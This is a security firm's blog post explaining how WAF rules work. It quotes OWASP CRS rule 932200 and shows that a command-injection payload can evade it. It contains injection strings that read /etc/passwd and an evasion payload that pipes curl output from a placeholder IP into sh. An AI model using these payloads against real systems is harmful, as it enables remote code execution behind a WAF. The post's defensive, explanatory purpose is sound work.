Bypassing Web Application Firewalls

Web Application Firewalls (WAFs) are the go-to infrastructure components used to hinder attacks against web applications. What is it that WAFs really offer – can they, even theoretically, be perfect in preventing any kind of web attack? Let’s demystify WAFs!

Introduction: How do WAFs work?

A web application firewall (WAF) is a network component (or online service) that intercepts and inspects all web traffic to one or more web applications. Depending on how it is configured, it may block traffic or send alerts when attacks are detected. To detect attacks, the WAF matches the incoming web traffic against a ruleset.

This ruleset contains requirements that are intended to identify generic attacks (such as SQL injections and XSS) or attacks against very specific vulnerabilities (e.g. CVE-2021-45046 Log4J RCE).

The most popular ruleset for WAFs is the OWASP Core Rule Set (CSR)[1], which is implemented by multiple commercial cloud WAF vendors such as Microsoft Azure and Cloudflare.

Example 1: How do WAF rules work?

A WAF rule describes what type of input is considered an attack. The following example shows rule 932200 from the OWASP CRS Github repository:

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:[*?`\x5c'][^/\n]+/|\$[({\[#@!?*\-_$a-zA-Z0-9]|/[^/]+?[*?`\x5c'])" \
    "id:932200,\
    phase:2,\
    block,\
    capture,\
    t:none,t:lowercase,t:urlDecodeUni,\
    msg:'RCE Bypass Technique',\
    logdata:'Matched Data: %{TX.0} found within %{TX.932200_MATCHED_VAR_NAME}: %{MATCHED_VAR}',\
    tag:'application-multi',\
    tag:'language-multi',\
    tag:'platform-multi',\
    tag:'attack-rce',\
    tag:'paranoia-level/2',\
    tag:'OWASP_CRS',\
    tag:'capec/1000/152/248/88',\
    tag:'PCI/6.5.2',\
    ver:'OWASP_CRS/4.0.0-rc1',\
    severity:'CRITICAL',\
    setvar:'tx.932200_matched_var_name=%{matched_var_name}',\
    chain"
    SecRule MATCHED_VAR "@rx /" "t:none,t:urlDecodeUni,chain"
        SecRule MATCHED_VAR "@rx \s" "t:none,t:urlDecodeUni,\
            setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
            setvar:'tx.inbound_anomaly_score_pl2=+%{tx.critical_anomaly_score}'"

This rule detects specific attack patterns that could be used to exploit a command injection vulnerability, specifically input strings that resemble this:

foo;cat$u+/etc$u/passwd

As you can see, these rules are not “smart” and identify attacks the way humans would be able to. They just look for specific patterns in the HTTP traffic.

Sidenote: WAFs may use a variety of techniques, including ones that could be considered “smarter”. This is just to illustrate how various WAFs operate.

Paranoia Levels and False Positives

So HTTP requests that contain the string above are blocked – great! But does that mean, that if someone tries to legitimately post the following classified ad in your application – it gets blocked?

I sell cat food $1 / dog food $2

The answer is yes! The ruleset just matches incoming traffic for the user against defined rules. Such a case would be considered a false positive.

OWASP CRS features so called Paranoia Levels (PL) allow you to define how aggressive the Core Rule Set is. PL 2 rules detect more attacks, but there is an increased propensity for false positives from a perfectly legitimate HTTP request.

This is the crux of the issue. Rules must be restrictive enough that obvious attacks are caught but lax enough that legitimate input is not blocked.

WAF Rule Bypasses

Let’s assume we have rules for every documented attack pattern to catch 100% of all attacks – we’re safe, right?

The following shows a string that violates the rule from above:

foo;c$1at+/etc/pas$1swd

This request gets blocked by the WAF:

932200 PL2 RCE Bypass Technique

You can follow this link to verify that the request gets blocked by Cloudflare WAF.

When we take a look at this rule in OWASP CRS Github repository, we find a “regular expression” that requires a slash character (“/”) for the rule to be triggered.

As a consequence, all commands that do not include this character do not raise any alarms!

The following string can be used to bypass this rule.

foo;cu$1rl+198.51.100.1|sh

For this approach to work, an attacker needs to provide a shell-script containing malicious code at a fictional server URL http://198.51.100.1/.

Success: You can follow this link to verify that the request does not get blocked by Cloudflare WAF.

As you can see, even if we increase the Paranoia Level and risk breaking our application, WAF rules can be bypassed.

Conclusion

So is a perfect WAF possible? Realistically, WAFs always need to walk the line to accommodate high detection rates and low false positive rates. Thus, in reality, WAFs cannot detect all attacks.

In this post, we demonstrated a way to evade an OWASP CRS rule that aims to protect against WAF bypassing techniques up to Level 3 Paranoia. Multiple commercial WAFs can be bypassed through the help of that technique because OWASP CRS is used by popular products such as Cloudflare WAF and Azure WAF. Therefore, it’s important to resolve security issues directly in the applications and only regard WAFs as an additional layer of protection.

Certitude provides multiple services to improve application security, including:

  • Application penetration tests and source code reviews by senior experts reaching far beyond automated vulnerability scans
  • Secure coding and DevOps security trainings with interactive hacking demonstrations
  • Build secure software development and DevSecOps processes that fit your organization’s needs and framework conditions
  • Getting the most out of the cloud: Using GitOps and Policy as a means to efficiently improve security in an automated way

[1] For this demonstration, the OWASP CRS sandbox with OWASP CRS version 4.0.0-rc1 and the Cloudflare WAF sandbox were used.